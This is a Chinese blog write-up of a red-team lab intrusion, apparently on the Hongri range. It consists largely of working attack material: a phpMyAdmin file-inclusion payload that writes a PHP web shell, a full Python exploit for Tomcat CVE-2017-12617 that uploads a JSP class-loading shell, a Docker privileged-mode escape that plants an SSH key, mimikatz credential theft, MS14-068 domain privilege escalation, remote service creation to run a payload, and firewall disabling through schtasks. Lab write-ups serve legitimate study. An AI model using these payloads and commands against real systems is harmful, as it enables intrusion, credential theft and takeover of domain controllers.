外围打点
nmap大概扫下全端口
2003端口有个phpMyAdmin,版本为4.8.1,存在文件包含漏洞!
通过执行select "<?php eval($_GET['a']);?>
在session中写入一个马,然后通过该马写个一句话,payload如下:
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_441736d9075edc3afc603f3a9e418a41&a=file_put_contents('/var/www/html/shell.php',urldecode("%253C%253Fphp%2520eval(%2524_POST%255B%2527a%2527%255D)%253B%253F%253E"));
直接拿蚁剑连
2002端口是个tomcat服务,版本为8.5.19,存在cve-2017-12617,通过原理编写如下脚本:
import requests
from urllib.parse import urljoin
import sys
def exploit(url):
payload="""<%-- 使用时请删除此行, 连接密码: a --%>
<%!
class LAMBDA extends ClassLoader{
LAMBDA(ClassLoader c){super(c);}
public Class raise(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] structural(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("a");
if (cls != null) {
new LAMBDA(this.getClass().getClassLoader()).raise(structural(cls)).newInstance().equals(new Object[]{request,response});
}
%>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(urljoin(url, "shell.jsp")+"/",data=payload, headers=headers,verify=False)
if req.status_code==201:
print(f"File Created {str(url)}/shell.jsp")
if len(sys.argv) == 2:
url = "http://192.168.80.133:2002/"
exploit(url)
else:
print("Usage: python3 cve-2017-12617.py url")
跑完脚本后直接拿蚁剑连
2001端口是个struts2框架,直接用工具就可以打通
直接用工具传个马就好了
通过三个点进去后我们可以看到明显不是一台机器,查看根目录也可以知道是docker容器
这里我们想办法从其中一台内逃逸出去
Docker逃逸
通过docker特权模式进行逃逸,使用fdisk -l
查看磁盘情况,在2001端口的服务中可以查看
查看磁盘挂载情况
我们重新挂在一下/dev/sda1
磁盘
发现该磁盘应该是主机的根目录,这里有几种利用方式:
- 写入ssh公钥
- 写crontab计划任务
- 写入passwd和shadow创建新用户
windows本地可以通过ssh-keygen -m PEM -t rsa -b 40961
生成公私钥,然后再用户目录下的.ssh/id_rsa.pub
传到靶机里,然后如下写入公钥
这里记得需要修改.ssh
目录的权限为700(这里也尝试在/home/ubuntu
用户下写入公钥,但是发现写入后文件所属为root,所以权限问题导致ubuntu用户无法连接)
至此成功获得主机,然后进行内网扫描
内网信息搜集
查看网卡情况
找到内网段192.168.183.1/24
,传入fscan
进行内网扫描,扫描结果如下
start infoscan
(icmp) Target 192.168.183.129 is alive
(icmp) Target 192.168.183.128 is alive
(icmp) Target 192.168.183.130 is alive
[*] Icmp alive hosts len is: 3
192.168.183.130:445 open
192.168.183.128:445 open
192.168.183.130:139 open
192.168.183.128:139 open
192.168.183.130:135 open
192.168.183.128:135 open
192.168.183.129:22 open
192.168.183.130:88 open
[*] alive ports len is: 8
start vulscan
[+] NetInfo:
[*]192.168.183.130
[->]WIN-ENS2VR5TR3N
[->]192.168.183.130
[+] NetInfo:
[*]192.168.183.128
[->]TESTWIN7-PC
[->]192.168.183.128
[*] 192.168.183.130[+]DC DEMO\WIN-ENS2VR5TR3N Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.183.128 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.183.128 __MSBROWSE__\TESTWIN7-PC Windows 7 Enterprise 7601 Service Pack 1
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
已完成 7/8 [-] ssh 192.168.183.129:22 root test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 admin admin123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 admin a12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/8
[*] 扫描结束,耗时: 4m52.706514937s
内网中存在两台Windows,且可能存在MS17-010,尝试使用msf打一下都没有打通,经过排查应该是流量的问题,这里搭建一个ew隧道打一下。
然后这里就成功上线了,不得不说这msf的路由转发有点逊,但是尽管上线了还是很容易掉线,迁移了进程还是一样,应该就是流量的问题了,不得不修改网卡,直接NAT连接到主机。
win7变为192.168.183.131
横向移动
成功上线后载入kiwi
模块获取明文密码
这里获得了域内普通用户douser的明文密码,通过ms14-068进行域内提权拿下域控
使用mimikatz获取douser的sid和Logon Server(用ip也行192.168.183.130)
通过systeminfo | find "3011780"
命令若为空则存在MS14-068漏洞
然后通过作者已经给了的MS14-068.exe
进行攻击获得票据
MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d WIN-ENS2VR5TR3N
之后使用mimikatz将票据注入内存
这个时候我们就可以通过net use \\WIN-ENS2VR5TR3N\IPC$
建立IPC通道
这里打算开启远程桌面进行上传木马进行连接
使用msf攻击模块run post/windows/manage/enable_rdp
开启远程桌面,然后添加用户进行远连
net user demo 123qwe!@#QWE /add
net localgroup administrators demo /add
这里在将demo用户加入用户组时失败了,报了1312的错
开远程桌面或许更麻烦些,直接用msf的upload进行上传也是非常快的
然后通过copy命令将木马放入域控的C盘中
copy msf.exe \\WIN-ENS2VR5TR3N\c$\msf.exe
然后我们通过sc来设置一个服务
# 创建服务
sc \\WIN-ENS2VR5TR3N create shell binpath= "c:\msf.exe"
# 启动服务
sc \\WIN-ENS2VR5TR3N start shell
这里还需要关闭一下防火墙,不然无法建立连接
关闭防火墙的方法:写一个bat,内容如下:
netsh advfirewall set allprofiles state off
然后相同的方法进行上传,然后因为bat并不算是一个可执行程序,只是一个dos脚本,所以我们这里用计划任务来执行它
schtasks /S WIN-ENS2VR5TR3N /create /TN cs /TR C:\fwoff.bat /SC minute /MO 1 /RU system
这里一开始没有加/RU system
导致执行失败,该参数的意思时以什么权限去执行,之后再去启动服务,成功拿下shell,这里切记要进行进程迁移,不然就会很快就会断掉
meterpreter > migrate <pid>
后记:
期间我们在利用ms14-068漏洞时,使用的是kerberos::ptc
,即pass the ccache
,通过查阅资料得知ccache和ticket相同都是票据,只是格式不同,ccache是unix格式的票据(.ccache),而ticket是windows格式的票据(.kirbi)。
使用如下脚本进行转换:
https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py
标签:红日,ENS2VR5TR3N,192.168,183.128,ssh,open,183.130 From: https://www.cnblogs.com/seizer/p/17038575.html